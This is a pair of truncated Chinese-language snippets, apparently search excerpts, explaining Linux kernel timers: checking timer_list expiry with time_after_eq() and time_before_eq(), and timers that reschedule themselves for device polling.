struct timer_list 是 Linux 内核中用于定时器管理的数据结构。要检查一个 timer_list 是否过期,可以使用函数 time_after_eq() 或 time_before_eq() 进行比较。 time_after_eq(a, b) 函数用于比较 a 是否在 b 之后或相等,返回值为真(true)或假(false)。time_before_eq(a, b) 函数则用于比较 a 是...
内核定时器的另一个重要特性是一个任务可以注册它本身在后面时间重新运行. 这是可能的, 因为每个 timer_list 结构在运行前从激活的定时器链表中去连接, 并且因此能够马上在其他地方被重新连接. 尽管反复重新调度相同的任务可能表现为一个无意义的操作, 有时它是有用的. 例如, 它可用作实现对设备的查询. 也值得...
